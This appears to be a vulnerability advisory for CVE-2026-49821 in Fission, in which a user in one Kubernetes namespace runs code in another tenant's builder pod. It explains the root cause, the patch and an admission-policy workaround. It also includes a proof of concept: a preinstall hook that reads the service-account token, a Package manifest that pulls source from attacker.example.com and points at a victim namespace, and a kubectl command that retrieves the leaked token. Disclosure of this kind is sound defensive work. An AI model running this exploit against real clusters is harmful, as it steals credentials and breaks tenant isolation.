high · 7.7CVE-2026-49821Jun 30, 2026

CVE-2026-49821: Fission Package Cross-Namespace Confused Deputy RCE and SA Token Exfiltration

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A Fission user in one Kubernetes namespace could trick the build controller into running their code inside another tenant's builder pod and leaking that namespace's service-account token, giving the a

Packagegithub.com/fission/fission
Ecosystemgo
Affected<= 1.23.0
Fixed in1.24.0

The problem

Fission's `buildermgr` controller accepted `Package` CRDs without checking that `Package.spec.environment.namespace` matched `Package.metadata.namespace`. Any user with `packages.fission.io/create` in their own namespace could set `spec.environment.namespace` to a victim namespace.

The controller used its high-privilege service account to fetch the Environment cross-namespace, then dispatched the build command into the victim namespace's builder pod. Build stdout is written verbatim into `Package.status.buildlog`, so code running inside that pod could read the `fission-builder` Bearer token from `/var/run/secrets/kubernetes.io/serviceaccount/token` and surface it to the attacker.

Proof of concept

A working proof-of-concept for CVE-2026-49821 in github.com/fission/fission, with the exact payload below.

bash
# 1. Attacker creates a malicious npm package in their source archive.
# package.json in the source zip:
{
  "name": "pwn",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "cat /var/run/secrets/kubernetes.io/serviceaccount/token"
  }
}

# 2. Attacker creates the cross-namespace Package (in namespace 'tenant-a',
#    pointing spec.environment.namespace at the victim namespace 'tenant-b'):
apiVersion: fission.io/v1
kind: Package
metadata:
  name: evil-pkg
  namespace: tenant-a
spec:
  environment:
    name: node           # a Node.js env that exists in tenant-b
    namespace: tenant-b  # <-- cross-namespace pivot; was never validated
  source:
    type: url
    url: http://attacker.example.com/evil-src.zip
  buildcmd: "npm install"

# 3. buildermgr fetches the Environment from tenant-b using the cluster-admin
#    service account, dispatches 'npm install' into tenant-b's builder pod.
#    The preinstall hook prints the fission-builder token.
#    Token appears in:
kubectl get package evil-pkg -n tenant-a -o jsonpath='{.status.buildlog}'

The root cause is missing authorization (CWE-862) combined with a confused-deputy pattern (CWE-441): `buildermgr` trusted the caller-supplied `spec.environment.namespace` field with no cross-namespace boundary check before performing privileged Kubernetes API calls on behalf of the Package author.

The patch adds a namespace equality check in both the admission webhook (`pkg/webhook/package.go::Validate`) and the controller itself (`pkg/buildermgr/pkgwatcher.go::build` and `pkg/buildermgr/common.go::buildPackage`). The controller-side check acts as defence-in-depth for clusters where the webhook is configured with `failurePolicy: Ignore` or bypassed by a stale cached object.

An empty `spec.environment.namespace` is still accepted and is defaulted to the Package's own namespace by the controllers.

The fix

Upgrade to Fission v1.24.0 (PR #3379, commit e2b9266). After upgrading, any Package with `spec.environment.namespace` set to a different namespace than `metadata.namespace` is rejected at admission. Review existing Package CRDs and remove cross-namespace environment references before upgrading.

If you cannot upgrade immediately, add a validating admission policy (or OPA/Kyverno rule) that enforces `spec.environment.namespace == metadata.namespace || spec.environment.namespace == ''`.

Reported by Sanket Sudake (@sanketsudake).

References: [1][2][3][4][5][6]

Related research